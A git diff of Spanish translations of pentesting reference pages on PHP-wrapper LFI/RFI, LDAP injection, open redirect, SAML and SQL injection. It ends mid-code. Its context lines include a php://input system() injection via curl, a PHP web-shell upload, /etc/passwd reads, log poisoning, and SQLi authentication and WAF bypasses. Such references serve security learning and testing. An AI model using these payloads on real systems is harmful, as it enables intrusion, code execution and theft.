## LFI / RFI usando envoltorios y protocolos PHP
|
||||
## LFI / RFI usando envolturas y protocolos PHP
|
||||
|
||||
### php://filter
|
||||
|
||||
@ -219,7 +219,7 @@ Los filtros PHP permiten realizar **operaciones de modificación básicas sobre
|
||||
- `string.rot13`
|
||||
- `string.toupper`
|
||||
- `string.tolower`
|
||||
- `string.strip_tags`: Elimina etiquetas de los datos (todo lo que está entre los caracteres "<" y ">")
|
||||
- `string.strip_tags`: Elimina las etiquetas de los datos (todo lo que está entre los caracteres "<" y ">")
|
||||
- Ten en cuenta que este filtro ha desaparecido de las versiones modernas de PHP
|
||||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
- `convert.base64-encode`
|
||||
@ -278,11 +278,20 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
En la publicación original puedes encontrar una explicación detallada de la técnica, pero aquí hay un resumen rápido:
|
||||
|
||||
- Usa el códec **`UCS-4LE`** para dejar el carácter inicial del texto al principio y hacer que el tamaño de la cadena aumente exponencialmente.
|
||||
- Esto se usará para generar un **texto tan grande cuando la letra inicial se adivine correctamente** que php desencadenará un **error**.
|
||||
- Esto se usará para generar un **texto tan grande cuando la letra inicial se adivina correctamente** que php desencadenará un **error**.
|
||||
- El filtro **dechunk** **eliminará todo si el primer carácter no es un hexadecimal**, por lo que podemos saber si el primer carácter es hexadecimal.
|
||||
- Esto, combinado con lo anterior (y otros filtros dependiendo de la letra adivinada), nos permitirá adivinar una letra al principio del texto al ver cuándo hacemos suficientes transformaciones para que no sea un carácter hexadecimal. Porque si es hexadecimal, dechunk no lo eliminará y la bomba inicial hará que php dé un error.
|
||||
- El códec **convert.iconv.UNICODE.CP930** transforma cada letra en la siguiente (así que después de este códec: a -> b). Esto nos permite descubrir si la primera letra es una `a`, por ejemplo, porque si aplicamos 6 de este códec a->b->c->d->e->f->g, la letra ya no es un carácter hexadecimal, por lo tanto, dechunk no la elimina y se desencadena el error de php porque se multiplica con la bomba inicial.
|
||||
- Usando otras transformaciones como **rot13** al principio es posible filtrar otros caracteres como n, o, p, q, r (y se pueden usar otros códe
|
||||
- Usando otras transformaciones como **rot13** al principio es posible filtrar otros caracteres como n, o, p, q, r (y se pueden usar otros códecs para mover otras letras al rango hexadecimal).
|
||||
- Cuando el carácter inicial es un número, es necesario codificarlo en base64 y filtrar las 2 primeras letras para filtrar el número.
|
||||
- El problema final es ver **cómo filtrar más que la letra inicial**. Al usar filtros de memoria de orden como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** es posible cambiar el orden de los caracteres y obtener en la primera posición otras letras del texto.
|
||||
- Y para poder obtener **más datos** la idea es **generar 2 bytes de datos basura al principio** con **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para hacer que **se pivotee con los siguientes 2 bytes**, y **eliminar los datos hasta los datos basura** (esto eliminará los primeros 2 bytes del texto inicial). Continuar haciendo esto hasta alcanzar el bit deseado para filtrar.
|
||||
|
||||
En la publicación también se filtró una herramienta para realizar esto automáticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
Este envoltorio permite acceder a descriptores de archivos que el proceso tiene abiertos. Potencialmente útil para exfiltrar el contenido de archivos abiertos:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
@ -334,7 +343,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
|
||||
```
|
||||
### phar://
|
||||
|
||||
Un archivo `.phar` puede ser utilizado para ejecutar código PHP cuando una aplicación web utiliza funciones como `include` para la carga de archivos. El fragmento de código PHP proporcionado a continuación demuestra la creación de un archivo `.phar`:
|
||||
Un archivo `.phar` puede ser utilizado para ejecutar código PHP cuando una aplicación web aprovecha funciones como `include` para la carga de archivos. El fragmento de código PHP proporcionado a continuación demuestra la creación de un archivo `.phar`:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
@ -386,7 +395,7 @@ Por ejemplo, el código PHP podría estar diseñado para prevenir el recorrido d
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Mientras que esto tiene como objetivo detener la traversión, inadvertidamente crea un vector para la inyección de código. Para explotar esto y leer el contenido de archivos, un atacante podría usar:
|
||||
Mientras que esto tiene como objetivo detener la traversal, inadvertidamente crea un vector para la inyección de código. Para explotar esto y leer el contenido de archivos, un atacante podría usar:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
@ -403,7 +412,7 @@ Es importante **codificar en URL estas cargas útiles**.
|
||||
|
||||
En [**esta increíble publicación**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo se puede abusar de un recorrido de ruta ciego a través de un filtro PHP para **exfiltrar el contenido de un archivo a través de un oráculo de error**.
|
||||
|
||||
En resumen, la técnica utiliza la **codificación "UCS-4LE"** para hacer que el contenido de un archivo sea tan **grande** que la **función PHP que abre** el archivo desencadene un **error**.
|
||||
En resumen, la técnica utiliza la **codificación "UCS-4LE"** para hacer que el contenido de un archivo sea tan **grande** que la **función PHP que abre** el archivo desencadenará un **error**.
|
||||
|
||||
Luego, para filtrar el primer carácter, se utiliza el filtro **`dechunk`** junto con otros como **base64** o **rot13** y finalmente se utilizan los filtros **convert.iconv.UCS-4.UCS-4LE** y **convert.iconv.UTF16.UTF-16BE** para **colocar otros caracteres al principio y filtrarlos**.
|
||||
|
||||
@ -426,7 +435,7 @@ Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función de i
|
||||
>
|
||||
> Además, asegúrate de **escribir correctamente la carga útil** o PHP dará error cada vez que intente cargar el archivo de registro y no tendrás una segunda oportunidad.
|
||||
|
||||
Esto también podría hacerse en otros registros, pero **ten cuidado**, el código dentro de los registros podría estar codificado en URL y esto podría destruir el Shell. El encabezado **autorización "basic"** contiene "usuario:contraseña" en Base64 y se decodifica dentro de los registros. El PHPShell podría ser insertado dentro de este encabezado.\
|
||||
Esto también podría hacerse en otros registros, pero **ten cuidado**, el código dentro de los registros podría estar codificado en URL y esto podría destruir el Shell. La cabecera **autorización "basic"** contiene "usuario:contraseña" en Base64 y se decodifica dentro de los registros. El PHPShell podría ser insertado dentro de esta cabecera.\
|
||||
Otras posibles rutas de registro:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
@ -457,9 +466,9 @@ Como un archivo de registro, envía la carga útil en el User-Agent, se reflejar
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Vía carga
|
||||
### Via upload
|
||||
|
||||
Si puedes cargar un archivo, simplemente inyecta la carga útil del shell en él (por ejemplo: `<?php system($_GET['c']); ?>`).
|
||||
Si puedes subir un archivo, simplemente inyecta la carga útil del shell en él (por ejemplo: `<?php system($_GET['c']); ?>`).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
@ -510,9 +519,9 @@ http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=da
|
||||
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### A través de filtros php (no se necesita archivo)
|
||||
### A través de filtros php (sin archivo necesario)
|
||||
|
||||
Este [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explica que puedes usar **filtros php para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para incluir **sin necesidad de escribirlo** en un archivo.
|
||||
Este [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explica que puedes usar **filtros php para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para la inclusión **sin necesidad de escribirlo** en un archivo.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
@ -552,7 +561,7 @@ lfi2rce-via-temp-file-uploads.md
|
||||
|
||||
### A través de `pearcmd.php` + argumentos de URL
|
||||
|
||||
Como [**se explica en esta publicación**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), el script `/usr/local/lib/phppearcmd.php` existe por defecto en las imágenes de docker de php. Además, es posible pasar argumentos al script a través de la URL porque se indica que si un parámetro de URL no tiene un `=`, debe usarse como un argumento.
|
||||
Como [**se explica en esta publicación**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), el script `/usr/local/lib/phppearcmd.php` existe por defecto en imágenes de docker de php. Además, es posible pasar argumentos al script a través de la URL porque se indica que si un parámetro de URL no tiene un `=`, debe usarse como un argumento.
|
||||
|
||||
La siguiente solicitud crea un archivo en `/tmp/hello.php` con el contenido `<?=phpinfo()?>`:
|
||||
```bash
|
||||
@ -581,9 +590,9 @@ Si encontraste una **Local File Inclusion** y **puedes exfiltrar la ruta** del a
|
||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
{{#endref}}
|
||||
|
||||
### A través de espera eterna + bruteforce
|
||||
### A través de espera eterna + fuerza bruta
|
||||
|
||||
Si puedes abusar del LFI para **subir archivos temporales** y hacer que el servidor **congele** la ejecución de PHP, podrías entonces **fuerza bruta los nombres de archivos durante horas** para encontrar el archivo temporal:
|
||||
Si puedes abusar del LFI para **subir archivos temporales** y hacer que el servidor **congele** la ejecución de PHP, podrías entonces **forzar nombres de archivos durante horas** para encontrar el archivo temporal:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
@ -593,14 +602,14 @@ lfi2rce-via-eternal-waiting.md
|
||||
|
||||
Si incluyes cualquiera de los archivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Necesitas incluir el mismo dos veces para provocar ese error).
|
||||
|
||||
**No sé cómo es esto útil, pero podría serlo.**\
|
||||
&#xNAN;_Even si causas un Error Fatal de PHP, los archivos temporales de PHP subidos son eliminados._
|
||||
**No sé cuán útil es esto, pero podría serlo.**\
|
||||
_Even si causas un Error Fatal de PHP, los archivos temporales de PHP subidos son eliminados._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Referencias
|
||||
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
|
||||
{{#file}}
|
||||
|
||||
@ -33,8 +33,8 @@ EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
|
||||
**Substring** = attr ”=” \[initial] \* \[final]\
|
||||
**Initial** = assertionvalue\
|
||||
**Final** = assertionvalue\
|
||||
&#xNAN;**(&)** = Absoluto VERDADERO\
|
||||
&#xNAN;**(|)** = Absoluto FALSO
|
||||
**(&)** = Absolute TRUE\
|
||||
**(|)** = Absolute FALSE
|
||||
|
||||
Por ejemplo:\
|
||||
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
||||
|
||||
@ -57,7 +57,7 @@ javascript://whitelisted.com?%a0alert%281%29
|
||||
/x:1/:///%01javascript:alert(document.cookie)/
|
||||
";alert(0);//
|
||||
```
|
||||
## Redirección Abierta subiendo archivos svg
|
||||
## Open Redirect subiendo archivos svg
|
||||
```markup
|
||||
<code>
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
@ -166,8 +166,8 @@ exit;
|
||||
|
||||
## Recursos
|
||||
|
||||
- En [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) puedes encontrar listas de fuzzing.\\
|
||||
- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\\
|
||||
- En [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) puedes encontrar listas de fuzzing.
|
||||
- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
|
||||
- [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
|
||||
- [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
|
||||
|
||||
|
||||
@ -73,7 +73,7 @@ Los siguientes ataques se basan en [**esta publicación de blog**](https://epi05
|
||||
|
||||
### XSW #3
|
||||
|
||||
- **Estrategia**: Se elabora una Assertion malvada al mismo nivel jerárquico que la assertion original.
|
||||
- **Estrategia**: Se crea una Assertion malvada al mismo nivel jerárquico que la assertion original.
|
||||
- **Implicación**: Tiene la intención de confundir a la lógica empresarial para que use los datos maliciosos.
|
||||
|
||||
.png>)
|
||||
@ -143,13 +143,13 @@ Las Respuestas SAML son **documentos XML desinflados y codificados en base64** y
|
||||
<ds:SignatureValue>...</ds:SignatureValue>
|
||||
[...]
|
||||
```
|
||||
## Herramientas
|
||||
## Tools
|
||||
|
||||
También puedes usar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para generar el POC a partir de una solicitud SAML para probar posibles vulnerabilidades XXE y vulnerabilidades SAML.
|
||||
|
||||
Consulta también esta charla: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||||
|
||||
## XSLT a través de SAML
|
||||
## XSLT via SAML
|
||||
|
||||
Para más información sobre XSLT, ve a:
|
||||
|
||||
@ -157,9 +157,9 @@ Para más información sobre XSLT, ve a:
|
||||
../xslt-server-side-injection-extensible-stylesheet-language-transformations.md
|
||||
{{#endref}}
|
||||
|
||||
Las Transformaciones de Lenguaje de Hojas de Estilo Extensible (XSLT) se pueden usar para transformar documentos XML en varios formatos como HTML, JSON o PDF. Es crucial notar que **las transformaciones XSLT se realizan antes de la verificación de la firma digital**. Esto significa que un ataque puede tener éxito incluso sin una firma válida; una firma autofirmada o inválida es suficiente para proceder.
|
||||
Las Transformaciones de Lenguaje de Hojas de Estilo Extensible (XSLT) se pueden usar para transformar documentos XML en varios formatos como HTML, JSON o PDF. Es crucial notar que **las transformaciones XSLT se realizan antes de la verificación de la firma digital**. Esto significa que un ataque puede ser exitoso incluso sin una firma válida; una firma autofirmada o inválida es suficiente para proceder.
|
||||
|
||||
Aquí puedes encontrar un **POC** para verificar este tipo de vulnerabilidades; en la página de hacktricks mencionada al principio de esta sección puedes encontrar cargas útiles.
|
||||
Aquí puedes encontrar un **POC** para verificar este tipo de vulnerabilidades, en la página de hacktricks mencionada al principio de esta sección puedes encontrar cargas útiles.
|
||||
```xml
|
||||
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
||||
...
|
||||
@ -179,7 +179,7 @@ Aquí puedes encontrar un **POC** para verificar este tipo de vulnerabilidades;
|
||||
...
|
||||
</ds:Signature>
|
||||
```
|
||||
### Tool
|
||||
### Herramienta
|
||||
|
||||
También puedes usar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para generar el POC a partir de una solicitud SAML para probar posibles vulnerabilidades de XSLT.
|
||||
|
||||
@ -187,21 +187,21 @@ Consulta también esta charla: [https://www.youtube.com/watch?v=WHn-6xHL7mI](htt
|
||||
|
||||
## Exclusión de Firma XML <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
|
||||
|
||||
La **Exclusión de Firma XML** observa el comportamiento de las implementaciones SAML cuando el elemento Signature no está presente. Si este elemento falta, **la validación de la firma puede no ocurrir**, haciéndolo vulnerable. Es posible probar esto alterando los contenidos que normalmente son verificados por la firma.
|
||||
La **Exclusión de Firma XML** observa el comportamiento de las implementaciones SAML cuando el elemento de Firma no está presente. Si este elemento falta, **la validación de la firma puede no ocurrir**, haciéndolo vulnerable. Es posible probar esto alterando los contenidos que normalmente son verificados por la firma.
|
||||
|
||||
.png>)
|
||||
|
||||
### Tool <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
|
||||
### Herramienta <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
|
||||
|
||||
También puedes usar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Intercepta la Respuesta SAML y haz clic en `Remove Signatures`. Al hacerlo, **todos** los elementos Signature son eliminados.
|
||||
También puedes usar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Intercepta la Respuesta SAML y haz clic en `Remove Signatures`. Al hacerlo, se eliminan **todos** los elementos de Firma.
|
||||
|
||||
Con las firmas eliminadas, permite que la solicitud continúe hacia el objetivo. Si la firma no es requerida por el Servicio
|
||||
Con las firmas eliminadas, permite que la solicitud continúe hacia el objetivo. Si la Firma no es requerida por el Servicio
|
||||
|
||||
## Falsificación de Certificado <a href="#certificate-faking" id="certificate-faking"></a>
|
||||
|
||||
## Falsificación de Certificado
|
||||
|
||||
La Falsificación de Certificado es una técnica para probar si un **Proveedor de Servicios (SP) verifica correctamente que un Mensaje SAML está firmado** por un Proveedor de Identidad (IdP) de confianza. Implica usar un \***certificado autofirmado** para firmar la Respuesta o Afirmación SAML, lo que ayuda a evaluar el proceso de validación de confianza entre SP e IdP.
|
||||
La Falsificación de Certificado es una técnica para probar si un **Proveedor de Servicios (SP) verifica adecuadamente que un Mensaje SAML está firmado** por un Proveedor de Identidad (IdP) de confianza. Implica usar un \***certificado autofirmado** para firmar la Respuesta o Afirmación SAML, lo que ayuda a evaluar el proceso de validación de confianza entre SP e IdP.
|
||||
|
||||
### Cómo Realizar la Falsificación de Certificado
|
||||
|
||||
@ -262,7 +262,7 @@ Esto reveló que el parámetro `base` acepta una URL. Considerando esto, surgió
|
||||
|
||||
[De esta investigación](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
|
||||
|
||||
La herramienta [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) se utilizó para analizar subdominios de `uberinternal.com` para dominios que utilizan la misma biblioteca. Posteriormente, se desarrolló un script para dirigirse a la página `oidauth/prompt`. Este script prueba XSS (Cross-Site Scripting) ingresando datos y verificando si se reflejan en la salida. En los casos en que la entrada se refleja, el script marca la página como vulnerable.
|
||||
La herramienta [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) se utilizó para analizar subdominios de `uberinternal.com` para dominios que utilizan la misma biblioteca. Posteriormente, se desarrolló un script para dirigirse a la página `oidauth/prompt`. Este script prueba XSS (Cross-Site Scripting) ingresando datos y verificando si se reflejan en la salida. En los casos donde la entrada se refleja, el script marca la página como vulnerable.
|
||||
```python
|
||||
import requests
|
||||
import urllib3
|
||||
@ -283,7 +283,7 @@ print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + d
|
||||
## Referencias
|
||||
|
||||
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
|
||||
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\\
|
||||
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)
|
||||
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
|
||||
- [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
|
||||
|
||||
|
||||
@ -97,7 +97,7 @@ SQLite
|
||||
```
|
||||
En algunos casos, las **funciones de sleep no estarán permitidas**. Entonces, en lugar de usar esas funciones, podrías hacer que la consulta **realice operaciones complejas** que tardarán varios segundos. _Ejemplos de estas técnicas se comentarán por separado en cada tecnología (si las hay)_.
|
||||
|
||||
### Identificando el Back-end
|
||||
### Identificación del Back-end
|
||||
|
||||
La mejor manera de identificar el back-end es intentar ejecutar funciones de los diferentes back-ends. Podrías usar las _**funciones de sleep**_ de la sección anterior o estas (tabla de [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
```bash
|
||||
@ -172,7 +172,7 @@ Selecciona más y más valores nulos hasta que la consulta sea correcta:
|
||||
1' UNION SELECT null,null-- - Not working
|
||||
1' UNION SELECT null,null,null-- - Worked
|
||||
```
|
||||
_Debes usar valores `null` ya que en algunos casos el tipo de las columnas de ambos lados de la consulta debe ser el mismo y null es válido en todos los casos._
|
||||
_Se deben usar valores `null`, ya que en algunos casos el tipo de las columnas de ambos lados de la consulta debe ser el mismo y null es válido en todos los casos._
|
||||
|
||||
### Extraer nombres de bases de datos, nombres de tablas y nombres de columnas
|
||||
|
||||
@ -195,11 +195,11 @@ Cuando la salida de una consulta es visible, pero una inyección basada en unió
|
||||
|
||||
Esto se puede lograr mediante el uso de técnicas de inyección ciega junto con las tablas predeterminadas específicas de su Sistema de Gestión de Bases de Datos (DBMS) objetivo. Para entender estas tablas predeterminadas, se aconseja consultar la documentación del DBMS objetivo.
|
||||
|
||||
Una vez que se ha extraído la consulta, es necesario adaptar su carga útil para cerrar de manera segura la consulta original. Posteriormente, se añade una consulta de unión a su carga útil, facilitando la explotación de la inyección basada en unión recién accesible.
|
||||
Una vez que se ha extraído la consulta, es necesario adaptar su carga útil para cerrar de manera segura la consulta original. Posteriormente, se agrega una consulta de unión a su carga útil, facilitando la explotación de la inyección basada en unión recién accesible.
|
||||
|
||||
Para obtener información más completa, consulte el artículo completo disponible en [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
|
||||
## Explotando Basada en Errores
|
||||
## Explotando Basado en Errores
|
||||
|
||||
Si por alguna razón **no puede** ver la **salida** de la **consulta** pero puede **ver los mensajes de error**, puede hacer que estos mensajes de error **exfiltren** datos de la base de datos.\
|
||||
Siguiendo un flujo similar al de la explotación basada en unión, podría lograr volcar la base de datos.
|
||||
@ -208,7 +208,7 @@ Siguiendo un flujo similar al de la explotación basada en unión, podría logra
|
||||
```
|
||||
## Explotando Blind SQLi
|
||||
|
||||
En este caso, no puedes ver los resultados de la consulta ni los errores, pero puedes **distinguir** cuando la consulta **devuelve** una respuesta **verdadera** o **falsa** porque hay diferentes contenidos en la página.\
|
||||
En este caso, no puedes ver los resultados de la consulta o los errores, pero puedes **distinguir** cuando la consulta **devuelve** una respuesta **verdadera** o **falsa** porque hay diferentes contenidos en la página.\
|
||||
En este caso, puedes abusar de ese comportamiento para volcar la base de datos carácter por carácter:
|
||||
```sql
|
||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||
@ -219,7 +219,7 @@ Este es el **mismo caso que antes** pero en lugar de distinguir entre una respue
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## Explotando SQLi Basado en Tiempo
|
||||
## Explotación de SQLi Basado en Tiempo
|
||||
|
||||
En este caso **no hay** ninguna manera de **distinguir** la **respuesta** de la consulta basada en el contexto de la página. Pero, puedes hacer que la página **tarde más en cargar** si el carácter adivinado es correcto. Ya hemos visto esta técnica en uso antes para [confirmar una vulnerabilidad SQLi](#confirming-with-timing).
|
||||
```sql
|
||||
@ -227,7 +227,7 @@ En este caso **no hay** ninguna manera de **distinguir** la **respuesta** de la
|
||||
```
|
||||
## Consultas Apiladas
|
||||
|
||||
Puedes usar consultas apiladas para **ejecutar múltiples consultas en sucesión**. Ten en cuenta que, aunque las consultas subsiguientes se ejecutan, los **resultados** **no se devuelven a la aplicación**. Por lo tanto, esta técnica es principalmente útil en relación con **vulnerabilidades ciegas** donde puedes usar una segunda consulta para activar una búsqueda DNS, un error condicional o un retraso de tiempo.
|
||||
Puedes usar consultas apiladas para **ejecutar múltiples consultas en sucesión**. Ten en cuenta que, aunque las consultas posteriores se ejecutan, los **resultados** **no se devuelven a la aplicación**. Por lo tanto, esta técnica es principalmente útil en relación con **vulnerabilidades ciegas** donde puedes usar una segunda consulta para activar una búsqueda DNS, un error condicional o un retraso de tiempo.
|
||||
|
||||
**Oracle** no soporta **consultas apiladas.** **MySQL, Microsoft** y **PostgreSQL** las soportan: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
|
||||
@ -243,11 +243,11 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
||||
```
|
||||
## Explotación Automatizada
|
||||
|
||||
Consulta la [SQLMap Cheatsheet](sqlmap/index.html) para explotar una vulnerabilidad de SQLi con [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
Consulta la [SQLMap Cheatsheet](sqlmap/index.html) para explotar una vulnerabilidad SQLi con [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
|
||||
## Información técnica específica
|
||||
|
||||
Ya hemos discutido todas las formas de explotar una vulnerabilidad de SQL Injection. Encuentra algunos trucos más dependientes de la tecnología de base de datos en este libro:
|
||||
Ya hemos discutido todas las formas de explotar una vulnerabilidad de Inyección SQL. Encuentra algunos trucos más dependientes de la tecnología de base de datos en este libro:
|
||||
|
||||
- [MS Access](ms-access-sql-injection.md)
|
||||
- [MSSQL](mssql-injection.md)
|
||||
@ -281,7 +281,7 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
**Lista recomendada**:
|
||||
|
||||
Deberías usar como nombre de usuario cada línea de la lista y como contraseña siempre: _**Pass1234.**_\
|
||||
&#xNAN;_(Estos payloads también están incluidos en la gran lista mencionada al principio de esta sección)_
|
||||
_(Estos payloads también están incluidos en la gran lista mencionada al principio de esta sección)_
|
||||
|
||||
{{#file}}
|
||||
sqli-hashbypass.txt
|
||||
@ -384,7 +384,7 @@ Usando **hex** y **replace** (y **substr**):
|
||||
```
|
||||
## Inyección SQL enrutada
|
||||
|
||||
La inyección SQL enrutada es una situación en la que la consulta inyectable no es la que produce la salida, sino que la salida de la consulta inyectable va a la consulta que produce la salida. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
La inyección SQL enrutada es una situación en la que la consulta inyectable no es la que da salida, sino que la salida de la consulta inyectable va a la consulta que da salida. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
|
||||
Ejemplo:
|
||||
```
|
||||
@ -410,7 +410,7 @@ No Whitespace - eludir usando comentarios
|
||||
```sql
|
||||
?id=1/*comment*/and/**/1=1/**/--
|
||||
```
|
||||
Sin espacios - eludir usando paréntesis
|
||||
No espacio en blanco - eludir usando paréntesis
|
||||
```sql
|
||||
?id=(1)and(1)=(1)--
|
||||
```
|
||||
@ -438,7 +438,7 @@ OR -> || -> %7C%7C
|
||||
> X -> not between 0 and X
|
||||
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
|
||||
```
|
||||
### Bypass de WAF con Notación Científica
|
||||
### Bypass de WAF mediante Notación Científica
|
||||
|
||||
Puedes encontrar una explicación más detallada de este truco en [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||||
Básicamente, puedes usar la notación científica de maneras inesperadas para el WAF para eludirlo:
|
||||
@ -449,14 +449,14 @@ Básicamente, puedes usar la notación científica de maneras inesperadas para e
|
||||
```
|
||||
### Bypass Column Names Restriction
|
||||
|
||||
Primero que nada, ten en cuenta que si la **consulta original y la tabla de la que deseas extraer la bandera tienen la misma cantidad de columnas**, podrías simplemente hacer: `0 UNION SELECT * FROM flag`
|
||||
Primero que nada, ten en cuenta que si la **consulta original y la tabla de la que deseas extraer la bandera tienen la misma cantidad de columnas** podrías simplemente hacer: `0 UNION SELECT * FROM flag`
|
||||
|
||||
Es posible **acceder a la tercera columna de una tabla sin usar su nombre** utilizando una consulta como la siguiente: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, así que en una sqlinjection esto se vería así:
|
||||
```bash
|
||||
# This is an example with 3 columns that will extract the column number 3
|
||||
